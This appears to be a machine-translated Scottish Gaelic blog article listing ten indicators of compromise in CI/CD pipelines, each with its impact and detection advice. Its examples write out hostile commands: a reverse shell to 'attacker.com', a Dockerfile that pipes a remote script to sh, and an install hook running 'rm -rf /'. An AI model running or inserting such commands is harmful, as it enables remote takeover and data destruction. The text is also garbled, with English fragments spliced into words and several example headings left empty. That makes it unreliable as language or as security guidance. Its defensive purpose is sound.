Ro-ràdh: Dè a th’ ann an comharran co-rèiteachaidh ann an saidhbear-thèarainteachd?
’S e comharran cunnart a’ chiad shoidhnichean rabhaidh gu bheil an siostam agad no pipeline dh’fhaodadh a bhith fo ionnsaigh. Ann am faclan sìmplidh, comharran co-rèiteachaidh a bheil lorgan air am fàgail le luchd-ionnsaigh, mar rudan neònach logins, atharrachaidhean faidhle, no malware falaichte. Ann an Cibear-thèarainteachd IOC, bidh iad ag obair mar lorgan-meòir aig làrach eucoir, a’ toirt fianais shoilleir dhut gu bheil rudeigin ceàrr. Mar sin, nuair a dh’fhaighnicheas luchd-leasachaidh dè na comharran co-rèiteachaidh a th’ ann, chan eil am freagairt air a chuingealachadh ri frithealaichean no ballachan-teine, tha e cuideachd a’ toirt a-steach cunnartan a tha falaichte ann an teicneòlas ùr-nodha CI/CD pipelines.
Annta sin pipelines, faodaidh luchd-ionnsaigh bacadh a chur air còd, eisimeileachdan droch-rùnach a chur a-steach, no ceumannan togail atharrachadh gun a bhith air an mothachadh. Ach, tha a’ mhòr-chuid de stiùiridhean fhathast ag amas a-mhàin air frithealaichean no lìonraidhean. Mar thoradh air an sin, tha slabhraidh solair bathar-bog air a bhith mar aon de na targaidean as fhasa.
Sin as coireach gu bheil comharran co-rèiteachaidh a lorg ann CI/CD pipelineTha s riatanach. Os cionn a h-uile càil, bidh e a’ cuideachadh sgiobaidhean gus malware a bhacadh, dìomhaireachdan a dhìon, agus gach ceum de lìbhrigeadh bathar-bog a dhèanamh tèarainte.
10 Prìomh Chomharran Co-rèiteachaidh ann an CI/CD Pipelines
Nuair a thathar a’ mìneachadh comharran co-rèiteachaidh, bidh a’ mhòr-chuid de liostaichean a’ cur fòcas air frithealaichean no lìonraidhean. CI/CD pipelines, bidh luchd-ionnsaigh a’ fàgail lorgan-meòir gu math eadar-dhealaichte. Tha e deatamach na comharran seo aithneachadh airson dìon ro-ghnìomhach. Gu h-ìosal tha na 10 brataichean dearga cibear-thèarainteachd IOC air am bu chòir do gach leasaiche agus innleadair tèarainteachd a bhith mothachail.
1. Atharrachaidhean Eisimeileachd Amharasach
Is e aon de na prìomh chomharran air co-rèiteachadh ann an pipeline'S e ùrachadh eisimeileachd obann, neònach a th' ann an s. Bidh luchd-ionnsaigh gu tric a' cleachdadh an earbsa a chuireas luchd-leasachaidh ann am manaidsearan pasgan gus pasganan cunnartach a chur ris.
Mar eisimpleir, ann an npm a package.json dh’ fhaodadh diff a bhith a’ toirt a-steach gu h-obann:
Dh’ fhaodadh gum bi atharrachaidhean mar seo a’ coimhead sàbhailte ach faodaidh iad còd trojanichte a chuir a-steach do gach togail.
Buaidh: Bidh toglaichean a tha air an cunnart a’ sealbhachadh malware aig an stòr.
Dearbhadh: cuir lèirmheasan eisimeileachd an gnìomh, cùm sùil air eadar-dhealachaidhean faidhle glasaidh, agus sgan pacaidean ùra fad na h-ùine.
2. Còd doilleir ann an Togalaichean
Bidh ùghdaran malware an urra ri doilleireachd gus lèirmheasan a sheachnadh. Mar thoradh air an sin, tha an comharradh seo de cho-rèiteachadh ann an CI/CD pipelineFaodaidh s a bhith mar aon den fheadhainn as duilghe a ghlacadh. Gu dearbh, bidh luchdan doilleir gu tric a’ sleamhnachadh a-steach do leabharlannan stòr fosgailte no ìomhaighean container gun rabhadh.
Mar eisimpleir:
- Pasgan PyPI a’ cleachdadh
base64.b64decode("cHJpbnQoSGFja2VkKQ=="). - Ìomhaigh Docker làn de fhaidhlichean binary UPX nach eil riatanach.
- JavaScript làn de
\x41\x42a’ teicheadh le bhith a’ falach luchd-goid teisteanasan.
Buaidh: Bidh còd falaichte ag obair gu sàmhach rè togail no ruith, agus tha seo ga dhèanamh na chomharradh cudromach ann an tèarainteachd saidhbear IOC.
Dearbhadh: Cuir còmhla SAST le sganadh malware gus còd a chaidh a chrioptachadh no a phacaigeadh a chomharrachadh. Os cionn a h-uile càil, làimhsich doilleireachd mar bhratach dhearg a tha airidh air tuilleadh rannsachaidh.
3. Dìomhaireachdan air am foillseachadh ann an Git: Cunnart Cibear-thèarainteachd Clasaigeach IOC
CI/CD pipelinebidh iad gu tric a’ sealbhachadh dìomhaireachdan gu dìreach bho stòran-dàta. Ach, nuair a nochdas dìomhaireachdan ann an Git, bidh iad mar aon de na freagairtean as soilleire don cheist “dè na comharran co-rèiteachaidh a th’ ann an pipelineCho luath ‘s a ruigeas teisteanasan Git, faodaidh luchd-ionnsaigh brath a ghabhail orra gu bràth.
Mar eisimpleir:
- A
.envfaidhle anns a bheilAWS_SECRET_KEY=. - Comharran air an cur a-steach
config.json. - Tha dìomhaireachdan fhathast rim faicinn ann an eachdraidh Git eadhon an dèidh an toirt air falbh.
Buaidh: Bheir iuchraichean fosgailte cothrom dìreach do luchd-ionnsaigh CI/CD pipelines, siostaman sgòthan, no stòran-dàta. Mar sin, is e seo aon de na comharran as cunnartaiche air milleadh.
Dearbhadh: cleachdadh pre-commit hooks agus obraichean CI airson sganadh dìomhair, agus cuir às do iuchraichean a chaidh a leigeil ma sgaoil sa bhad. A bharrachd air sin, cuir an gnìomh leigheas fèin-ghluasadach gus uinneagan nochdaidh a lughdachadh.
4. Air a mhilleadh Pipeline Rèiteachaidhean: Comharran falaichte co-rèiteachaidh
Pipeline Tha rèiteachaidhean nan targaidean luachmhor oir bidh aon atharrachadh gu tric a’ toirt thairis an t-sruth-obrach gu lèirMar thoradh air an sin, air a mhilleadh pipeline Tha faidhlichean nan cunnart mòr saidhbear-thèarainteachd IOC nach eil innealan sgrùdaidh traidiseanta a’ lorg ach ainneamh.
Mar eisimpleir:
Ann an Gnìomhan GitHub:
- Ann an GitLab: obair droch-rùnach air a cur ri
.gitlab-ci.ymla bhios a’ tilgeil dàta mothachail. - Ann an Jenkins:
sh "nc -e /bin/bash attacker.com 4444".
Buaidh: Bidh na h-atharrachaidhean neo-cheadaichte seo a’ tionndadh do pipeline a-steach do dhoras cùil maireannach do luchd-ionnsaigh, a tha gu soilleir a’ cunntadh mar chomharradh air co-rèiteachadh.
Dearbhadh: Cuir rèiteachaidhean ainm-sgrìobhte an gnìomh, iarr ceadan PR, agus cùm sùil air obraichean ris nach robh dùil. A bharrachd air sin, suidhich guardrails a chuireas bacadh fèin-ghluasadach air sruthan-obrach atharraichte.
5. Sochair IaC Easbhaidhean
Bidh mìneachaidhean bun-structair mì-rèiteichte gu tric a’ cruthachadh dorsan cùil falaichte. Mar thoradh air an sin, bidh roghainnean bunaiteach sochairichte ann an IaC ’s e cunnart clasaigeach saidhbear-thèarainteachd IOC a th’ annta.
Mar eisimpleir:
- Podan tabhartais cleachdadh Kubernetes
privileged: true. - Cairtean Helm a’ nochdadh sheirbheisean le
0.0.0.0:22.
Buaidh: Bidh luchd-ionnsaigh a’ faighinn cothrom aig ìre freumha no a’ nochdadh seirbheisean a-staigh gu poblach. Mar thoradh air an sin, bidh na cùisean sin a’ leudachadh uachdar an ionnsaigh gu mòr.
Dearbhadh: Cuir a-steach IaC sganadh gus an ìre as lugha de phribhileachdan a chur an gnìomh mus tèid an cur còmhla. A bharrachd air sin, dèan cinnteach gu bheilear ag ath-sgrùdadh gach rèiteachadh mar phàirt den pipeline.
6. Giùlan Togail Neo-àbhaisteach
Bidh luchd-ionnsaigh gu tric ag atharrachadh pipeline giùlan gus sleamhnachadh ann an gnìomhan droch-rùnach. Ann am faclan eile, is e gnìomhachd togail neo-àbhaisteach aon de na freagairtean as soilleire do na tha a’ nochdadh mar chomharran air co-rèiteachadh ann an CI/CD pipelines.
Mar eisimpleir:
- Togalaichean a’ dèanamh iarrtasan lìonra a-mach gu raointean neònach.
- Pròiseact Node.js a’ nochdadh PowerShell gu h-obann rè
npm install. - Obair CI a’ luchdachadh sìos faidhlichean binary mòra nach eil air am mìneachadh ann an sgriobtaichean togail.
Buaidh: Faodaidh togail a tha air a mhilleadh a bhith nan puingean sgaoilidh malware. Os cionn a h-uile càil, bidh iad a’ sgaoileadh luchdan droch-rùnach thar gach cleachdadh.
Dearbhadh: Cùm sùil air logaichean togail airson pròiseasan no ceanglaichean ris nach robh dùil. A bharrachd air sin, rèitich lorg neo-riaghailteachdan gus giùlan taobh a-muigh an àbhaist a chomharrachadh.
7. Sgriobtaichean Pacaid Mì-rùnach mar Chunnartan Cibear-thèarainteachd IOC
Cearcall-beatha taic manaidsearan pacaid hooks a bhios luchd-ionnsaigh a’ cleachdadh. Mar sin, tha sgriobtaichean droch-rùnach ann an npm, PyPI, no Dockerfiles nan comharran làidir air milleadh.
Mar eisimpleir:
- npm:
postinstallsgriobt a’ ruithrm -rf /no a’ toirt beacon gu C2. - PyPI:
setup.pya’ cur còd Python falaichte an gnìomh nuair a thèid a stàladh. - Dockerfile:
RUN curl attacker.sh | sh.
Buaidh: Bidh an ionnsaigh a’ dol an gnìomh rè an stàlaidh, mus tèid deuchainnean ruith-ùine sam bith a dhèanamh. Mar thoradh air an sin, is dòcha nach mothaich luchd-leasachaidh e gus am bi e ro fhadalach.
Dearbhadh: Sganadh manifestean pacaid airson sgriobtaichean stàlaidh. A bharrachd air sin, cuir casg air cunnartan hooks in CI/CD obraichean gus nochdadh a lùghdachadh.
8. Comharran Puinnseanachadh Clàraidh a tha a’ nochdadh gu bheil an clàr air a mhilleadh
Bidh luchd-ionnsaigh a’ cur nithean ùra an àite no ag atharrachadh nithean ann an clàran, agus tha na tachartasan sin nan eisimpleirean leabhar-teacsa de na tha nan comharran air milleadh ann an slabhraidh solair. pipelines.
Mar eisimpleir:
- Tag ìomhaigh Docker air ùrachadh gu sàmhach le sreath trojanichte.
- Pasgan a-staigh air a chur na àite le dreach puinnseanta.
- squatting ainm-àite npm, leithid
lodash-proxy.
Buaidh: Bidh a h-uile togail a bhios a’ cleachdadh artaifeact a’ chlàir air a mhilleadh. Chan e a-mhàin sin, ach bidh an cunnart a’ sgaoileadh gu seirbheisean sìos an abhainn.
Dearbhadh: Cuir sgrùdaidhean ainm-sgrìobhte is ionracais an gnìomh air gach tarraing clàraidh. A bharrachd air sin, cùm sùil air tùs nan nithean le SBOM dearbhadh.
9. Gnìomhachd Neo-àbhaisteach Luchd-cleachdaidh mar Fhianais IOC
Bidh cunntasan a tha air an cunnart cha mhòr an-còmhnaidh a’ fàgail lorgan neo-àbhaisteach às an dèidh. Mar sin, tha giùlan neo-àbhaisteach an leasaiche na chomharradh làidir air co-rèiteachadh.
Mar eisimpleir:
- Commitair a phutadh aig 3m àm ionadail.
- Ceadan PR le cunntasan air saor-làithean.
- Pipelineair a bhrosnachadh le tricead neo-àbhaisteach.
Buaidh: Bidh luchd-ionnsaigh a’ dèanamh ana-cleachdadh air teisteanasan a chaidh a ghoid gus atharrachaidhean droch-rùnach a chur a-steach. Às dèidh a h-uile càil, gun chead commita’ measgachadh gu furasta a-steach do shruthan-obrach àbhaisteach.
Dearbhadh: Monitor SCM gnìomhachd airson ana-cainnt, MFA a chur an gnìomh, agus comharran a thionndadh gu cunbhalach. A bharrachd air sin, rabhadh a thoirt seachad mu rudan amharasach commit no pàtrain ceadachaidh.
10. Sgrùdaidhean Ionracais no Ainm-sgrìobhte a dh’fhàillig ann an Cibear-thèarainteachd IOC
Cumanta ach air a dhearmad comharra co-rèiteachaidh 'S e sgrùdadh ionracais no ainm-sgrìobhte a dh'fhàillig. Ann an tèarainteachd saidhbear IOC, bidh na sgrùdaidhean seo a' dearbhadh gu bheil còd no nithean dearbhte. Ma thèid an seachnadh, fàgaidh sin pipelines fosgailte.
eisimpleirean:
- Hash SHA256 nach eil a’ freagairt ris an t-suim-sgrùdaidh ris a bheil dùil.
- Ainm-sgrìobhte GPG a tha a dhìth no neo-dhligheach.
- An SBOM a’ sealltainn stuthan gun ainm-sgrìobhte.
Buaidh: Bidh fàilligidhean ionracais gu tric a’ ciallachadh bacadh, puinnseanachadh clàraidh, no stealladh malware.
Dearbhadh: Uathoibrich sgrùdaidhean ainm-sgrìobhte, cuir dearbhadh suimean-sgrùdaidh an gnìomh, agus cuir bacadh air co-phàirtean gun ainm-sgrìobhte. Os cionn a h-uile càil, làimhsich gach sgrùdadh a dh’ fhàillig mar fhianais shoilleir air milleadh.
CI/CD Sealladh farsaing air comharran co-rèiteachaidh
| Comharra Co-rèiteachaidh (IOC) | Buaidh ann an CI/CD Pipelines | Mar a lorgas tu |
|---|---|---|
| Atharrachaidhean Eisimeileachd Amharasach | Bidh luchd-ionnsaigh a’ cur leabharlannan droch-rùnach a-steach do mhanaidsearan pacaid, agus mar thoradh air sin bidh toglaichean air an cur ann an cunnart. | Cùm sùil air eadar-dhealachaidhean faidhle glasaidh, cuir lèirmheasan eisimeileachd an gnìomh, agus sgan eisimeileachdan gu leantainneach. |
| Còd Doilleir ann an Togalaichean | Bidh luchdan falaichte ag obair rè togail no rè ùine ruith gun lorg. | cleachdadh SAST agus sganadh malware gus pàtrain còd base64, hex, no pacaichte a chomharrachadh. |
| Dìomhaireachdan air am foillseachadh ann an Git | Bidh comharran no iuchraichean API a chaidh a leigeil a-mach a’ toirt cothrom dìreach do luchd-ionnsaigh air siostaman èiginneach. | Ruith sganaidhean dìomhair ann an Git hooks agus teisteanasan a chaidh a leigeil ma sgaoil a chùl-ghairm gu fèin-ghluasadach. |
| Air a mhilleadh Pipeline Configurations | Leigidh sruthan-obrach atharraichte le dàta a bhith air a thoirt a-mach no buanachadh a-staigh CI/CD. | Iarr ceadan PR, cuir an gnìomh rèiteachaidhean ainm-sgrìobhte, agus dèan sgrùdadh orra. pipeline atharrachaidhean. |
| Prìobhaideach IaC Easbhaidhean | Bidh dreuchdan ro-cheadachail no bunaitean mì-thèarainte a’ nochdadh àrainneachdan sgòthan. | Sgan faidhlichean Terraform, Kubernetes, agus Helm airson an cur an gnìomh leis an ìre as lugha de shochairean. |
| Giùlan Togail Neo-àbhaisteach | Pipelineair an cleachdadh mar phuingean sgaoilidh malware no airson gluasad taobhach. | Dèan mion-sgrùdadh air logaichean togail airson luchdachadh sìos, pròiseasan no gairmean a-mach ris nach robh dùil. |
| Sgriobtaichean Pacaid Mì-rùnach | Bidh sgriobtaichean falaichte ro/às dèidh stàlaidh a’ piobrachadh luchdan mus tèid deuchainnean ruith a dhèanamh. | Cuir bacadh air sgriobtaichean npm/PyPI cunnartach agus cuir casg air cur an gnìomh ann an CI/CD obraichean. |
| Puinnseanachadh Clàraidh | Bidh nithean a chaidh a chruthachadh le Trojan a’ cur ìomhaighean no faidhlichean binary earbsach an àite ann an clàran. | Dearbhaich suimean-sgrùdaidh, cuir dearbhadh ainmean-sgrìobhte an gnìomh, agus sgan clàran gu ro-ghnìomhach. |
| Gnìomhachd Cleachdaiche Neo-àbhaisteach | Cunntasan a tha air an cur an cunnart a’ putadh droch-rùnach commitno brosnachaidh pipelines. | Cuir an gnìomh MFA, dèan sgrùdadh commitairson ana-cainnt, agus mion-sgrùdadh login pàtranan. |
| Sgrùdaidhean Ionracais no Ainm-sgrìobhte a dh’fhàillig | A’ comharrachadh còd, eisimeileachdan no ìomhaighean air an cur a-steach don pipeline. | Dèan sgrùdaidhean ionracais fèin-ghluasadach agus cuir casg air co-phàirtean gun ainm-sgrìobhte no nach eil a’ freagairt ri chèile. |
Carson a tha tèarainteachd saidhbear traidiseanta IOC a’ call CI/CD cunnartan
Tha a’ mhòr-chuid de bhuidhnean mu thràth a’ cumail sùil air comharran cunnart air frithealaichean, coimpiutairean no lìonraidhean. Ach, tha an dòigh-obrach chlasaigeach seo a thaobh tèarainteachd saidhbear IOC a’ seachnadh CI/CD pipelines, a tha a-nis mar aon de na h-uachdaran ionnsaigh as cudromaiche. Gu dearbh, pipelinea’ sealltainn comharran co-rèiteachaidh sònraichte nach urrainn do innealan traidiseanta a lorg.
Comharran Co-rèiteachaidh ann an Tèarainteachd Thraidiseanta
Ann an tèarainteachd saidhbear àbhaisteach IOC, mar as trice bidh am fòcas air:
- Unusual loginno seòlaidhean IP a tha a’ moladh teisteanasan air an goid.
- Hashes faidhle amharasach no atharrachaidhean clàraidh a tha a’ nochdadh malware.
- Trafaic a-mach ris nach robh dùil a tha a’ comharrachadh gu bheil dàta air a thoirt a-mach.
Is iad sin comharran ainmeil a thathas a’ cumail sùil orra cuideachd anns an Frèam MITER ATT&CK, a bhios a’ mapadh giùlan is innleachdan cumanta nàmhaid. Tha iad sin nan comharran feumail. Ach, tha iad a’ buntainn sa mhòr-chuid ri siostaman obrachaidh no lìonraidhean corporra. Mar thoradh air an sin, chan eil iad a’ mothachadh an atharrachadh seòlta a thachras nas tràithe ann an slabhraidh solair bathar-bog.
Carson CI/CD PipelineTha iad eadar-dhealaichte
CI/CD pipeline'S e àrainneachdan fèin-ghluasadach a th' annta far a bheil luchd-leasachaidh commit còd, eisimeileachdan tarraing, agus togail sgaoilidh. Tha fios aig luchd-ionnsaigh gu bheil aon cho-rèiteachadh an seo a’ sgaoileadh thairis air gach cleachdadh. A rèir sin, dè na comharran air co-rèiteachadh a th’ ann an CI/CD pipelineTha iad a’ coimhead gu math eadar-dhealaichte:
- Eisimeileachd droch-rùnach air a chur ri package.json no requirements.txt gu sàmhach.
- Iuchraichean no comharran API air an nochdadh ann an Git commitfaidhlichean s no .env.
- Còd doilleir air a chur a-steach do phasganan npm no PyPI.
- Faidhlichean Terraform no Kubernetes le roghainnean bunaiteach mì-thèarainte leithid privileged: true.
- Pipeline obraichean air an deasachadh gus dàta a thoirt a-mach no dorsan cùil fhosgladh.
Tha na comharran co-rèiteachaidh seo ann an CI/CD fuireach do-fhaicsinneach do standard innealan tèarainteachd.
Am Beàrn ann an Cibear-thèarainteachd IOC
Ged a tha mòran sgiobaidhean a’ tuigsinn luach chomharran cunnart, tha iad fhathast an urra ri lorg bho fhrithealaichean agus logaichean lìonra a-mhàin. Mar sin, faodaidh luchd-ionnsaigh puinnseanachadh a dhèanamh air togail no malware a chuir a-steach gun na lorgan àbhaisteach fhàgail. Sin as coireach nach deach tachartasan leithid an doras cùil XZ Utils no pacaidean npm droch-rùnach a lorg gus an do ràinig iad cinneasachadh.
Tha na seòrsaichean co-rèiteachaidhean slabhraidh solair seo air an comharrachadh cuideachd le CISStiùireadh tèarainteachd slabhraidh solair A, a tha a’ toirt rabhadh gu bheil luchd-ionnsaigh a’ targaideadh barrachd is barrachd CI/CD pipelines agus clàran.
An Takeaway
Tha tèarainteachd saidhbear traidiseanta IOC riatanach ach chan eil e gu leòr. Os cionn a h-uile càil feumaidh sgiobaidhean comharran co-rèiteachaidh aithneachadh a tha sònraichte do CI/CD pipelines. Chan urrainn dhaibh ach an uairsin còd droch-rùnach a lorg no pipeline droch dhìol mus sgaoil e thar àrainneachdan.
